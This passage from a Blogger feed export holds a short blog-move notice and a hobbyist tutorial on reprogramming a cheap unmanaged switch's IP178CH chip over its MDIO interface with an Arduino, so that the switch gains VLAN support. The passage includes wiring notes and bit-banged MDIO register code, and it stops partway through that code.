tag:blogger.com,1999:blog-4136882124242574442023-11-16T03:01:25.602-08:00Linux e hackingAnonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.comBlogger27125tag:blogger.com,1999:blog-413688212424257444.post-64085512078478168092015-09-03T09:39:00.002-07:002015-09-03T09:39:45.316-07:00Blog moving to linuxehacking.ovhBecause of some limitations of blogger platform i have moved the blog to this new address <a href="http://linuxehacking.ovh/" target="_blank">http://linuxehacking.ovh</a><br />This one will not be deleted but i'll no longer post here.Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-9375659730795918352015-08-26T06:01:00.002-07:002015-08-26T07:40:20.596-07:00Convert your cheap "unmanaged" switch to a VLAN capable layer 2 managed switch for just $2The title of that post may look crazy at first, but it's not, it is entirely possible to convert your cheap 100M 8 port switch or stuff like that to a managed switch.<br />
<br />
That's possible simply because, if you open up one of these and look at the datasheet, you will find out that they use the same switch chips used frequently inside of routers ( which they can be reprogrammed as you like with openwrt ).<br />
<br />
The switch i've used this time is a "digicom 10/100" switch, digicom is an italian rebrand of some other stuff probably, but anyway, let's get straight to the point, below you can see the PCB of that switch<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1QYHf6webic946nbbc8gJdRjHA0ywXE2IzANdgm8ZHMLQB3kktnL8TLLrGlHe23oQt8gL_D9c7FeXBOctyIkuf1BjomKP7kpeS8YmLZrHhmuNxAr17eJjnW6V4hCfHtxB5d_Jt5XZU55r/s1600/pcb.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1QYHf6webic946nbbc8gJdRjHA0ywXE2IzANdgm8ZHMLQB3kktnL8TLLrGlHe23oQt8gL_D9c7FeXBOctyIkuf1BjomKP7kpeS8YmLZrHhmuNxAr17eJjnW6V4hCfHtxB5d_Jt5XZU55r/s320/pcb.jpg" width="320" /></a></div>
<br />
Switch chip is IP178CH, and since today luck is on our side, its datasheet can easily be found there <a href="http://www.icplus.com.tw/Data/Datasheet/IP178Cx-DS-R13-20080925.pdf" target="_blank">http://www.icplus.com.tw/Data/Datasheet/IP178Cx-DS-R13-20080925.pdf</a> .<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5xzLkEyVFhX8pxkw-plBRnMiJj2jVLreC4F_Brmck7itpnKFv04Fk_4AFQDyCMfX1PvdIIcVUV8uiNnMplhzXUCATz1PyWzyUEDbv0oP58D-AjrsTQYm_72tAlmQ3_4tJZWShlUBhBO0m/s1600/chip.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="269" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5xzLkEyVFhX8pxkw-plBRnMiJj2jVLreC4F_Brmck7itpnKFv04Fk_4AFQDyCMfX1PvdIIcVUV8uiNnMplhzXUCATz1PyWzyUEDbv0oP58D-AjrsTQYm_72tAlmQ3_4tJZWShlUBhBO0m/s320/chip.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbGvCTiaNi55IKDuo0iLLuGvPZU7S35mymbiduREp4vnBFhqpGG2XkzpBEVrVFoULO_BzFOsTujSxHBs4DXr_15qkpnYyfRo5XrIzG2XeuO_-RqTBS6F9vx07K_qTGEeyp0e3_U3b89cmw/s1600/Selezione_348.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbGvCTiaNi55IKDuo0iLLuGvPZU7S35mymbiduREp4vnBFhqpGG2XkzpBEVrVFoULO_BzFOsTujSxHBs4DXr_15qkpnYyfRo5XrIzG2XeuO_-RqTBS6F9vx07K_qTGEeyp0e3_U3b89cmw/s320/Selezione_348.png" width="319" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Serial management interface timing diagram and command format</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Now by taking a quick look at the datasheet some important things for that modification are easily found:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<ul>
<li>The switch chip can be programmed by pulling up or down it's pins but only basic features are programmable that way</li>
<li>The switch chip can be programmed from the EEPROM ( which on that switch board is not present, but there are unpopulated pads for it ), for the switch to take in account the EEPROM , first two bytes must be 0x55AA</li>
<li>The switch chip can be programmed using a synchronous serial interface at pins MDC & MDIO, on the fly.<br />This one is the most useful one to create a managed switch</li>
</ul>
<br />
The serial interface is similiar to I2C but much simpler, it does not support multiple devices on the same bus and devices don't have an address.<br />
MDC Clock has to be generated from CPU side ( in that case an arduino ) , so you can operate it at whatever speed you want provided you don't exceed maximum ratings.<br />
<br />
Now once you know how to operate communicate with the switch it's just matter of programming an arduino.<br />
To do that, if you want just to test and you are going to power the arduino over usb. you are going to need to modify an USB cable to give arduino 3.3v instead of 5v.<br />
You could also use a level shifter for that, but i prefer powering the entire arduino at 3.3v because it's simpler and cheaper.<br />
To power an arduino with 3.3v you can simple take an usb cable and cut red and black wires and insert a regulator between PC side and arduino side.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigaZZoSvNIPAQZ2seeNPtY1uHTsMYQqFgehHWJPEl2A670pl64d6bc3id0YDt7L8pccvCNmKEcovYvo-sYmc6S9Kv84eqxiU0kuznzSdDcfDgz_csLKTqzghZOJkrrBWU5HbO56_kvFAqA/s1600/Selezione_349.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigaZZoSvNIPAQZ2seeNPtY1uHTsMYQqFgehHWJPEl2A670pl64d6bc3id0YDt7L8pccvCNmKEcovYvo-sYmc6S9Kv84eqxiU0kuznzSdDcfDgz_csLKTqzghZOJkrrBWU5HbO56_kvFAqA/s400/Selezione_349.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Arduino usb cable modification</td></tr>
</tbody></table>
After doing that modification, just adjust the regulator to give 3.3v and you are ready to go<br />
On that switch , since again , we are lucky today, the IC pins of the serial management interface were already routed to an unpopulated header, on which i soldered a 3 pin strip header<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Vx66-bFepFNdQs7KqGQE7ckpiRTf_hnVEMem2Mq5o0jw9wwL_Mi-H2bVDrtgOAOQM2fkQ-PRh0LBjJYIVqnE62bJbXDI8URvbQSHxFDtsKdZ2-0qhqTDLfwFCvOn9ZABzRW4K6RNFZx6/s1600/pins.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Vx66-bFepFNdQs7KqGQE7ckpiRTf_hnVEMem2Mq5o0jw9wwL_Mi-H2bVDrtgOAOQM2fkQ-PRh0LBjJYIVqnE62bJbXDI8URvbQSHxFDtsKdZ2-0qhqTDLfwFCvOn9ZABzRW4K6RNFZx6/s320/pins.jpg" width="320" /></a></div>
The pinout is the following:<br />
1 : GND<br />
2 : MDIO<br />
3 : MDC<br />
<br />
MDIO must be pulled high using a 2.2k resistor or some similiar value, again, if you are using a level shifter instead of the 3.3 cable mod, be sure to connect pullup resistor to 3.3v and not 5V.<br />
To protect I/O lines also add two 100 ohm resistors or 200 ohm at most between MDIO,MDC and arduino pins ( 2,3 )<br />
<br />
After doing that the HW part is done, if you want to make it permanent, just buy an arduino pro mini ( NOT NANO ) , and an usb-serial, the two should be around $2 total, max 3$.<br />
You can also easily find on the board the 3.3v power rail and power the pro-mini from there, DO NOT power the arduino pro mini from usb or use an arduino nano or you will fry everything.<br />
When connecting usb-serial adapter to it you will only connect GND, RX, TX wires , also DTS if you want to be able to program it from usb.<br />
<br />
Now let's take a look of a basic software to have a managed switch which can save configuration on arduino eeprom and restore it at boot.<br />
<br />
<br />
<ol style="background-color: #ebf4fb; font-family: monospace; font-size: 13px; line-height: 16.0029983520508px; margin: 0px; padding: 0px 0px 0px 50px;">
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: #339900;">#include <EEPROM.h></span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: #339900;">#define MDIO 2</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: #339900;">#define MDC 3</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: rgb(248, 238, 199); list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: #339900;">#define PHY30_REG13_PORT1_REMOVE_TAG 0x10</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: #339900;">#define PHY30_REG13_VLAN_EN 0x8</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> outBit<span style="color: green;">(</span><span style="color: blue;">int</span> b<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDC,LOW<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> b <span style="color: navy;">==</span> <span style="color: #0000dd;">0</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDIO,LOW<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">else</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDIO,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
delayMicroseconds<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDC,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
delayMicroseconds<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> inBit<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDC,LOW<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
delayMicroseconds<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> res <span style="color: navy;">=</span> digitalRead<span style="color: green;">(</span>MDIO<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDC,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
delayMicroseconds<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span> res <span style="color: navy;">==</span> HIGH <span style="color: teal;">?</span> <span style="color: #0000dd;">1</span> <span style="color: teal;">:</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> readReg<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> phyaddr, <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> regaddr<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> res <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDC,OUTPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//IDLE</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDIO,OUTPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDC,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//START</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//READ</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">4</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: green;">(</span>phyaddr <span style="color: navy;">>></span> k<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">4</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: green;">(</span>regaddr <span style="color: navy;">>></span> k<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDIO,INPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDIO,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//Pullup</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span> <span style="color: #666666;">//Z</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">15</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
res <span style="color: #000040;">|</span><span style="color: navy;">=</span> <span style="color: green;">(</span> inBit<span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><<</span> k <span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span> res<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> writeReg<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> phyaddr, <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> regaddr, <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> value<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> res <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDC,OUTPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
